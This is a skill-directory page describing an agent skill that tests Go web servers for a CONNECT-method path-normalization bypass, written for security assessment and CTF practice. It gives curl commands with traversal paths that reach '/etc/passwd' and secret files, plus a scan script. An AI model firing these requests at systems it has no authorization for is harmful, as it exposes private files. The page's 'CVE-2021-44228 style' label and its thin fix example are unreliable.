# Golang Connect Vulnerability

> Test for Go HTTP CONNECT method path normalization bypass vulnerabilities. Use this skill when analyzing Go web applications for path traversal issues, when investigating HTTP CONNECT method handling, or when security testing Go-based servers. This skill helps identify cases where the CONNECT method bypasses standard path normalization that other HTTP methods apply. Make sure to use this skill whenever you're testing Go web servers, investigating path traversal vulnerabilities, or analyzing HTTP method handling in Go applications.

- Skill: `abelrguezr/golang-connect-vulnerability` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/golang-connect-vulnerability`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/golang-connect-vulnerability/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/golang-connect-vulnerability

---


# GoLang HTTP CONNECT Method Vulnerability

## Overview

Go's `net/http` library automatically normalizes request paths for most HTTP methods, but the `CONNECT` method is an exception. This can lead to path traversal vulnerabilities where protected resources become accessible through non-normalized paths.

## How the Vulnerability Works

### Normal Path Behavior

For standard HTTP methods (GET, POST, etc.), Go's HTTP server normalizes paths:

| Input Path | Normalized To |
|------------|---------------|
| `/flag/` | `/flag` |
| `/../flag` | `/flag` |
| `/flag/.` | `/flag` |

### CONNECT Method Exception

The `CONNECT` method **does not** trigger path normalization. This means:

- `/../flag` stays as `/../flag`
- `/flag/` stays as `/flag/`
- `/flag/.` stays as `/flag/.`

This bypass can allow access to resources that would otherwise be protected.

## Testing Methodology

### Step 1: Identify Go-Based Servers

Look for indicators that a server is running Go:

```bash
# Check server headers
curl -I http://target.com | grep -i server

# Look for Go-specific headers or response patterns
```

### Step 2: Test Path Normalization

Test if the server normalizes paths with standard methods:

```bash
# Test with GET - should normalize
curl -X GET http://target.com/../flag
curl -X GET http://target.com/flag/

# Test with CONNECT - may bypass normalization
curl --path-as-is -X CONNECT http://target.com/../flag
```

### Step 3: Compare Responses

If the CONNECT method returns different content than GET, the vulnerability may be present:

```bash
# Save responses for comparison
curl -X GET http://target.com/../flag -o get_response.txt
curl --path-as-is -X CONNECT http://target.com/../flag -o connect_response.txt

# Compare
diff get_response.txt connect_response.txt
```

## Common Test Patterns

### Directory Traversal

```bash
# Test parent directory access
curl --path-as-is -X CONNECT http://target.com/../../../etc/passwd
curl --path-as-is -X CONNECT http://target.com/..%2f..%2f..%2fetc%2fpasswd
```

### Trailing Slash Variations

```bash
# Test trailing slash bypass
curl --path-as-is -X CONNECT http://target.com/flag/
curl --path-as-is -X CONNECT http://target.com/flag/.
```

### Mixed Path Variations

```bash
# Test various path encodings
curl --path-as-is -X CONNECT http://target.com/./../flag
curl --path-as-is -X CONNECT http://target.com/flag/./../secret
```

## Automated Testing Script

Use the included `test-connect-vuln.sh` script for automated testing:

```bash
# Basic test
cd scripts
./test-connect-vuln.sh http://target.com

# Test specific paths
./test-connect-vuln.sh http://target.com --paths "/../flag" "/flag/" "/flag/."

# Verbose output
./test-connect-vuln.sh http://target.com --verbose
```

## Mitigation Recommendations

### For Developers

1. **Validate paths before processing** - Don't rely on Go's automatic normalization
2. **Use a security library** - Consider using libraries that handle path validation
3. **Implement custom CONNECT handling** - Override default CONNECT behavior if needed
4. **Use reverse proxies** - Configure nginx or similar to normalize paths before they reach Go

### Example Fix Pattern

```go
// Validate and normalize paths manually
func validatePath(path string) string {
    // Clean the path
    cleanPath := filepath.Clean(path)
    
    // Ensure it doesn't escape intended directory
    if strings.HasPrefix(cleanPath, "..") {
        return "" // Reject
    }
    
    return cleanPath
}
```

## Safety Guidelines

⚠️ **Important**: Only test systems you have explicit authorization to test.

- Get written permission before testing
- Use this skill for educational purposes and authorized security assessments
- Document findings responsibly
- Report vulnerabilities through proper channels

## References

- [Go HTTP Server Source Code](https://github.com/golang/go/blob/master/src/net/http/server.go#L2354-L2364)
- [Go net/http Package Documentation](https://pkg.go.dev/net/http)
- [HTTP CONNECT Method RFC](https://datatracker.ietf.org/doc/html/rfc7231#section-4.3.6)

## Related Vulnerabilities

This vulnerability is related to:

- Path traversal attacks (CVE-2021-44228 style)
- HTTP method bypass vulnerabilities
- Web server misconfiguration issues

## Quick Reference

| Test | Command |
|------|--------|
| Basic CONNECT test | `curl --path-as-is -X CONNECT http://target/../flag` |
| Compare with GET | `curl -X GET http://target/../flag` vs `curl --path-as-is -X CONNECT http://target/../flag` |
| Automated scan | `./test-connect-vuln.sh http://target` |
| Verbose output | `./test-connect-vuln.sh http://target --verbose` |